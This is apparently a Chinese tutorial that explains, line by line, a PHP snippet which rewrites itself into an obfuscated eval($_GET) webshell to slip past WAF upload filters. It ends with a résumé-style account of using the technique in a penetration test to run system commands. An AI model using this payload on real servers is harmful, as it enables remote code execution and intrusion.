代碼解析
修改自身bypass:
第一句話
$s="Declaring file object\n";
定義一個s,值為Declaring file object
第二句話
$d=$_SERVER['DOCUMENT_ROOT'].$_SERVER['DOCUMENT_URI']; ?
不知道$_SERVER是什么,那就打印出來看看。輸入
echo '<pre>';
print_r($_SERVER);
打印出:
可知:
//$_SERVER['DOCUMENT_ROOT'] 獲取的是:/usr/local/nginx/html
//$_SERVER['DOCUMENT_URI'] ?獲取的是:/bypass/5.php
. 在php中是拼接的意思,既這句話的意思是定義一個d,他的值是:? /uSr/local/nginx/html/bypass/demO2.php
第三句話
$file = new SplFileObject($d,'w');
提供一個函數SplFileObject,查官方文檔得知:
::,兩個冒號是靜態方法。當去new一個類的時候,構造函數會自動執行。
$file = new SplFileObject("fwrite.txt", "w");
這是創建一個新的文件對象(使用的是 PHP 的
SplFileObject
類)。"fwrite.txt"
是文件名,如果不存在就會創建它。"w"
是打開模式,表示:打開用于寫入,
如果文件存在,將會清空原內容;
如果文件不存在,會嘗試創建一個新文件。
$written = $file->fwrite("12345");
使用
fwrite()
方法向文件寫入字符串"12345"
。寫入成功后,返回值是寫入的字節數這里是 5
“12345”為想寫入的內容
所以第三局話的意思是:定義一個file,他的值為新的一個類(SplFileObject),這個類的作用是往d寫入內容。
第四句話
$file->fwrite("<?php"." eva".$s[3]);
調用fwrite寫入內容,$s[3]的意思是調用第一句話的第3個字母“l”,把l取出來,那么這句話的意思是:寫入<?php eval到此沒完,因為一句話木馬沒寫完
第五句話
$file->fwrite("(\$_"."GET"."[a]);?>"); ?
繼續寫入。因為$是定義變量的前綴,所以要在前面加一個轉義字符\,把$_變為普通的$符號。這句話的意思是:($_GET[a]);?>
一執行5.php就會改頭換面變為:<?php eval($_GET[a]);?>
第六句話
include(get_included_files()[0]);
get_included_files()
這是 PHP 的一個內置函數。
它返回一個 數組,包含當前腳本中所有通過
include
、require
、include_once
、require_once
加載過的文件名。每個元素是一個絕對路徑。
下標
0
是當前正在執行的主腳本本身的路徑。
表示的就是當前 PHP 腳本的完整路徑名:/usr/local/nginx/html/bypass/5.php
include(...)
include
的作用是把某個 PHP 文件里的代碼**“嵌入并執行”**到當前位置。相當于重新執行當前腳本
此時5.php完全變了。變為:
看似合理無害的文件,變為了一句話木馬。在上傳時waf并未認定是惡意文件,那是在運行的時候,改變了自身的屬性。
寫成項目經歷:
這個項目是我在做 Web 滲透測試時發現的一類漏洞利用方法,重點是通過 PHP 的自寫入和自身包含機制,繞過常規的安全防護,實現遠程代碼執行。
當時目標系統用了 PHP,目錄權限不算嚴格,用戶上傳文件后可以被 Web 訪問。起初發現系統對 eval() 函數和常規 WebShell 特征做了過濾,比如直接上傳 <?php eval($_GET['a']); ?> 這類代碼會被攔截或者清除。
后來我嘗試換思路,通過 PHP 的 SplFileObject 類創建當前腳本的文件對象(也就是$_SERVER['DOCUMENT_URI'] 加上 $_SERVER['DOCUMENT_ROOT'] 得到的路徑),然后動態拼接寫入一句類似 <?php eval($_GET['a']); ?> 的代碼,但故意打散寫法,避開特征檢測。比如把 eval 拆成 "eva".$s[3]($s[3] 是 "l"),把變量寫成 \$_GET["a"],這樣即使是代碼審計工具或者 Web 應用防火墻(WAF)也不太容易識別。
寫完后,再用 include(get_included_files()[0]); 重新加載當前腳本,就會立即執行剛寫進去的惡意代碼。然后我訪問這個文件并傳入 a=phpinfo(); 或 a=system('id');,就能執行任意命令,拿到服務器權限。
這個過程可以實現繞過上傳限制、繞過 WAF 特征識別、繞過禁用函數控制,屬于一個組合型的 RCE 利用鏈。后面我把這套方法寫成了利用腳本,并整理成報告提交給了客戶方,得到了他們的高度重視,也推動了他們修改相關目錄權限和配置。
? 在這個項目里,我主要負責漏洞挖掘、利用方式設計以及后續的復現與驗證,另外還參與了編寫報告和向客戶講解復現方式。
贊贊贊贊贊贊贊贊贊贊贊贊贊贊贊贊贊贊贊贊贊點點。